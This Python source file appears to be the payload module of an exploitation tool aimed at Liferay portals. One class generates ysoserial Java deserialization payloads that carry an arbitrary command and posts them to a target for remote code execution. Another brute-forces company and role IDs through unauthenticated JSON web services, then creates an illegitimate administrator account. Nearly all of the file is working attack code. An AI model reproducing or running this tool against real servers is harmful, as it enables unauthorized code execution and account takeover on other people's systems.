import logging
import random
import string
from tabulate import tabulate
import requests
import requests.exceptions as exception
import os
import urllib3
import time
import re

# Total payloads
total = 2

# Information data of payload
data_set = {
    1: [
        "Java Deserialization",
        "The process of converting application data to another format (usually binary) suitable for transportation is called serialization. The process of reading data back in after it has been serialized is called unserialization.\n"
        "Vulnerabilities arise when developers write code that accepts serialized data from users and attempt to unserialize it for use in the program\n\n"
        "(*) Affected Versions: many\n(*) Severity: high",
        """
Available payload types                     
-----------------------------------------                   
BeanShell1                     Hibernate1
CommonsBeanutils1              Hibernate2            
CommonsCollections1            JSON1             
CommonsCollections2            Jdk7u21               
CommonsCollections3            MozillaRhino1                     
CommonsCollections4            MozillaRhino2                    
CommonsCollections5            Myfaces1   
CommonsCollections6            ROME        
Groovy1                        Spring1                    
Vaadin1                        Spring2 
          """,
        "Exploit through Java Serialization Vulnerability",
        "https://www.tenable.com/security/research/tra-2017-01\n"
        "https://issues.liferay.com/browse/LPE-15538\n"
        "https://issues.liferay.com/browse/LPS-64441"],
    2: [
        "Json Unauthenticated",
        "All JSON web services are, by default, accessible without authentication. Due to this vulnerability, anyone can create a new user with administrator rights\n\n"
        "(*) Affected Versions: 6.0.12 EE, 6.1.0 CE GA1, 6.1.10 EE GA1, 6.2.0 CE M2\n(*) Severity: high",
        "Create admin account illegal",
        "https://issues.liferay.com/browse/LPS-26935\nhttps://www.acunetix.com/vulnerabilities/web/liferay-json-service-api-authentication-vulnerability\n"
        "https://dl.packetstormsecurity.net/1208-exploits/liferayjson-bypass.txt"]
}

# List gadgets
gadgets = ["CommonsBeanUtils", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3",
           "CommonsCollections4", "Jdk7u21", "Json1", "ROME", "Spring1", "Spring2", "BeanShell1", "CommonsCollections5",
           "CommonsCollections6", "CommonsCollections7", "Groovy1",
           "Hibernate1", "Hibernate2", "JRMPClient", "MozillaRhino1", "MozillaRhino2", "Myfaces1", "Vaadin1"]

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
session = requests.Session()
session.headers.update({
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 OPR/62.0.3331.99"})


# [LPS-64441] Java Serialization Vulnerability
class Deserialization:
    description = data_set[1][1]
    refer = data_set[1][4]
    gadget = data_set[1][2]

    def __init__(self, url, lib, command, path):
        self.url = url
        self.lib = lib
        self.command = command
        self.path = path

    # Begin Getter / Setter
    @property
    def url_gs(self):
        return self.url

    @property
    def lib_gs(self):
        return self.lib

    @property
    def command_gs(self):
        return self.command

    @property
    def path_gs(self):
        return self.path

    @url_gs.setter
    def url_gs(self, new_url):
        self.url = new_url

    @lib_gs.setter
    def lib_gs(self, new_lib):
        self.lib = new_lib

    @command_gs.setter
    def command_gs(self, new_command):
        self.command = new_command

    @path_gs.setter
    def path_gs(self, new_path):
        self.path = new_path

    # End of Getter / Setter

    # Show all options of payload
    def show_options(self):
        print(self.gadget)
        header = ["Name", "Current Setting", "Required", "Description"]
        data = [("url", self.url, "yes", "Target to exploit"),
                ("lib", self.lib, "yes", "Vulnerable library"),
                ("command", self.command, "yes", "Command to embed into payload"),
                ("path", self.path, "no", "Path of exists your payload")]
        print("")
        print(tabulate(data, headers=header))
        print("")

    # Creating and sending payload
    def execute(self):
        check = True
        try:
            if self.url and self.command and self.lib != "None":
                if self.lib in gadgets:
                    # Exploit with existing payload
                    if self.path != "None":
                        payload = open(self.path, "rb")
                        rq = session.post(self.url, data=payload)
                        if rq.status_code == 200:
                            print("~> Payload sending successfully!")
                        else:
                            print("~> Error while sending payload!")
                    # Generate payload and exploit
                    else:
                        command = "java -jar {}/ysoserial-master-55f1e7c35c-1.jar {} '{}' > core/generated_payload/{}.bin".format(
                            os.getcwd(), self.lib, self.command, self.lib)
                        os.system(command)
                        payload = open("{}/core/generated_payload/{}.bin".format(os.getcwd(), self.lib), "rb")
                        rq = session.post(self.url, data=payload)
                        if rq.status_code == 200:
                            print("~> Payload sending successfully!")
                        else:
                            print("~> Error while sending payload!")
                else:
                    print("[!] Gadget is not found!")
            else:
                print("[!] Required option is not set!")
        except IndexError:
            print("[!] Url is empty!")
            logging.error("[!] Url is empty!")
        except exception.ConnectionError:
            print("[!] Name or service not known!")
            logging.error("[!] Name or service not known!")
        except exception.InvalidURL and exception.MissingSchema:
            print("[!] Invalid Url - Url must start with http(s)!")
            logging.error("[!] Invalid Url - Url must start with http(s)!")
        except Exception as ex:
            print("[!] Something get error see the log file!")
            logging.error(ex)


# [LPS-26935] All JSON web services are accessible without authentication
class Json:
    description = data_set[2][1]
    refer = data_set[2][3]
    created_user_id = ""
    company_id = ""
    default_id = ""
    role_id = ""
    data = {'companyId': '',
            'autoPassword': 'false',
            'password1': '',
            'password2': '',
            'autoScreenName': 'false',
            'screenName': '',
            'emailAddress': '',
            'facebookId': '',
            'openId': '',
            'locale': '',
            'firstName': '',
            'middleName': '',
            'lastName': '',
            'prefixId': '',
            'suffixId': '',
            'male': 'false',
            'birthdayMonth': '',
            'birthdayDay': '',
            'birthdayYear': '',
            'jobTitle': '',
            'groupIds': '',
            'organizationIds': '',
            'roleIds': '',
            'userGroupIds': '',
            'sendEmail': 'false'}

    def __init__(self, url, user, pwd, email, admin_id, start1, end1, start2, end2):
        self.url = url
        self.user = user
        self.pwd = pwd
        self.email = email
        self.admin_id = admin_id
        self.start1 = start1
        self.end1 = end1
        self.start2 = start2
        self.end2 = end2

    # Begin Getter / Setter
    @property
    def url_gs(self):
        return self.url

    @property
    def user_gs(self):
        return self.user

    @property
    def pwd_gs(self):
        return self.pwd

    @property
    def email_gs(self):
        return self.email

    @property
    def admin_id_gs(self):
        return self.admin_id

    @property
    def start1_gs(self):
        return self.start1

    @property
    def end1_gs(self):
        return self.end1

    @property
    def start2_gs(self):
        return self.start2

    @property
    def end2_gs(self):
        return self.end2

    @url_gs.setter
    def url_gs(self, new_url):
        self.url = new_url

    @user_gs.setter
    def user_gs(self, new_user):
        self.user = new_user

    @email_gs.setter
    def email_gs(self, new_email):
        self.email = new_email

    @admin_id_gs.setter
    def admin_id_gs(self, new_admin_id):
        self.admin_id = new_admin_id

    @pwd_gs.setter
    def pwd_gs(self, new_pwd):
        self.pwd = new_pwd

    @start1_gs.setter
    def start1_gs(self, new_start):
        self.start1 = new_start

    @end1_gs.setter
    def end1_gs(self, new_end):
        self.end1 = new_end

    @start2_gs.setter
    def start2_gs(self, new_start):
        self.start2 = new_start

    @end2_gs.setter
    def end2_gs(self, new_end):
        self.end2 = new_end

    # End Getter /  Setter

    # Show all options of payload
    def show_options(self):
        header = ["Name", "Current Setting", "Required", "Description"]
        data = [("url", self.url, "yes", "Target to exploit"),
                ("user", self.user, "yes", "Admin User you want to create"),
                ("pwd", self.pwd, "yes", "Admin Password you want to create"),
                ("email", self.email, "yes", "Email you want to create"),
                ("start1", self.start1, "yes", "Start number of range Company ID"),
                ("end1", self.end1, "yes", "End number of range Company ID"),
                ("admin_id", self.admin_id, "no", "Admin id to brute force roleID"),
                ("start2", self.start2, "yes", "Start number of range default/admin roleID"),
                ("end2", self.end2, "yes", "End number of range default/admin roleID")
                ]
        print("")
        print(tabulate(data, headers=header))
        print("")

    # Brute force
    def brute_force(self, case, step, start, end):
        for number in range(start, end):
            number = str(number)
            if self.get_request(case, step, number):
                break

    # Step 1 & 2 : Get company id / default user id / role id
    def get_request(self, case, step, number):
        # Step 1: Brute force default user id
        # Step 2: Case 1 : Has default user id from Step 1 - > Brute force role of default user -> get role of admin
        #         Case 2 : Has admin user id from Open Search result - > Brute force role admin
        if step == 1:
            url = self.url + '/api///secure/jsonws/user/get-default-user-id?companyId=' + number
            rq = session.get(url, verify=False, timeout=10)
            print("Try company id : " + number)
            # If companyId is correct
            if len(rq.text) > 0 and 'exception' not in rq.text:
                print('\n[+] Successful')
                print('Company Id: ' + number)
                print('Default user id: ' + rq.text)
                print('---------------------------------')
                self.company_id = number
                self.default_id = rq.text
                return True

        elif step == 2:
            if case == 1:
                url = self.url + '/api///secure/jsonws/user/has-role-user?userId=' + str(
                    self.default_id) + '&roleId=' + number
                rq = session.get(url, verify=False)
                print("Try default user role id : " + number)
                # If userId is correct
                if rq.text != 'false':
                    print("[+] Default user role id : " + number)
                    self.role_id = str(int(number) - 1)
                    pass

            elif case == 2:
                url = self.url + '/api////secure/jsonws/user/has-role-user?userId=' + str(
                    self.admin_id) + '&roleId=' + number
                rq = session.get(url, verify=False)
                print("Try admin role id : " + number)
                # If userId is correct
                if rq.text != 'false':
                    self.role_id = number
                    pass
            if self.role_id != '':
                print('---Successful---')
                print('Admin Role Id: ' + str(self.role_id))
                print('---------------------------------')
                return True

    # Step3: Create account
    def create_account(self):
        print('[+] Step 3: Create account')
        time.sleep(3)
        session.headers.update({'Origin': self.url})
        session.headers.update({'Upgrade-Insecure-Requests': '1'})
        session.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})
        session.headers.update({
            'Referer': self.url + '/api///secure/jsonws?signature=/user/add-user-26-companyId-autoPassword-password1-password2-autoScreenName-screenName-emailAddress-facebookId-openId-locale-firstName-middleName-lastName-prefixId-suffixId-male-birthdayMonth-birthdayDay-birthdayYear-jobTitle-groupIds-organizationIds-roleIds-userGroupIds-sendEmail-serviceContext'})
        url = self.url + '/api/jsonws/user/add-user'
        self.data.update({'companyId': self.company_id, 'roleIds': self.role_id})
        rq = session.post(url, self.data)
        if "exception" not in rq.text:
            print('[+] Create admin user successfully!')
            print(rq.text)
            self.created_user_id = re.findall('.userId.:(.*),', rq.text)[0]
            if self.created_user_id != "":
                self.verify_role()
        else:
            print('[!] Failed for creating account!')
            print(rq.text)

    # Step 4: Verify role of created user:
    def verify_role(self):
        print("\n[+] Step 4: Checking role of created user")
        time.sleep(3)
        rq = session.post(self.url + "/api/secure/jsonws/role/get-user-roles?userId=" + self.created_user_id,
                          auth=(self.user, self.pwd), verify=False)
        roles = re.findall(r".name.:.(\w+)", rq.text)
        if len(roles) > 0:
            print("[+] All role of created user: " + ", ".join(roles))
            print("")
        else:
            print("[!] Created user DON'T HAVE ADMINISTRATOR role!")

    # Random generate data
    def gen_data(self):
        self.data.update({'companyId': self.company_id})
        self.data.update({'roleIds': self.role_id})
        self.data.update({'password1': self.pwd})
        self.data.update({'password2': self.pwd})
        self.data.update({'screenName': self.user})
        self.data.update({'emailAddress': self.email})
        self.data.update({'facebookId': ''.join((random.choice('0123456789') for i in range(8)))})
        self.data.update({'openId': ''.join((random.choice('0123456789') for i in range(10)))})
        self.data.update({'locale': ''.join((random.choice('0123456789') for i in range(10)))})
        self.data.update({'firstName': ''.join((random.choice(string.ascii_lowercase) for i in range(10)))})
        self.data.update({'middleName': ''.join((random.choice(string.ascii_lowercase) for i in range(10)))})
        self.data.update({'lastName': ''.join((random.choice(string.ascii_lowercase) for i in range(10)))})
        self.data.update({'prefixId': ''.join((random.choice('1234567890') for i in range(3)))})
        self.data.update({'suffixId': ''.join((random.choice('0123456789') for i in range(3)))})
        self.data.update({'birthdayMonth': ''.join((random.choice('123456789') for i in range(1)))})
        self.data.update({'birthdayDay': ''.join((random.choice('123456789') for i in range(1)))})
        self.data.update({'birthdayYear': '199'.join((random.choice('123456789') for i in range(1)))})
        self.data.update({'jobTitle': ''.join((random.choice(string.ascii_lowercase) for i in range(8)))})

    # Execute Function
    def execute(self):
        try:
            if self.url and self.user and self.pwd and self.email and self.start1 and self.end1 and self.start2 and self.end2 != "None":
                print("[+] Step 1")
                print("[+] Brute force company id")
                time.sleep(3)
                self.brute_force(1, 1, int(self.start1), int(self.end1))
                if self.company_id == "":
                    print("[!] Cannot found Company ID")
                else:
                    if self.admin_id == "None":
                        print("[+] Step 2 - Case 1")
                        print("[+] Brute admin role id")
                        time.sleep(3)
                        self.brute_force(1, 2, int(self.start2), int(self.end2))
                    else:
                        print("[+] Step 2 - Case 2 ")
                        print("[+] Brute admin role id")
                        time.sleep(3)
                        self.brute_force(2, 2, int(self.start2), int(self.end2))
                    if self.role_id != "":
                        self.gen_data()
                        self.create_account()
                    else:
                        print("[!] Cannot found Admin Role ID!")
            else:
                print("[!] Required option is not set !")
        except IndexError:
            print("[!] Url is empty!")
            logging.error("[!] Url is empty!")
        except exception.ConnectionError:
            print("[!] Name or service not known!")
            logging.error("[!] Name or service not known!")
        except exception.InvalidURL and exception.MissingSchema:
            print("[!] Invalid Url - Url must start with http(s)!")
            logging.error("[!] Invalid Url - Url must start with http(s)!")
        except Exception as ex:
            # print("[!] Something get error see the log file!")
            print(ex)
            logging.error(ex)


# Information format to print out
def detail_format(description, refer):
    print("")
    print('\033[94m' + "Description")
    print("============" + '\033[93m')
    print(description)
    print("")
    print('\033[94m' + "References")
    print("============" + '\033[93m')
    print(refer)
    print("")


# Get detail information of payload
def get_detail_payload(payload_order):
    if payload_order == 1:
        detail_format(Deserialization.description, Deserialization.refer)
    if payload_order == 2:
        detail_format(Json.description, Json.refer)


# Create payload object when chosen
def payload_choose(payload_order):
    global vul
    if payload_order == 1:
        vul = Deserialization("None", "None", "None", "None")
    if payload_order == 2:
        vul = Json("None", "None", "None", "None", "None", "None", "None", "None", "None")


# Check if vulnerability's option exists
def check_exist_option(vul_option):
    try:
        getattr(vul, vul_option)
        return True
    except AttributeError:
        return False
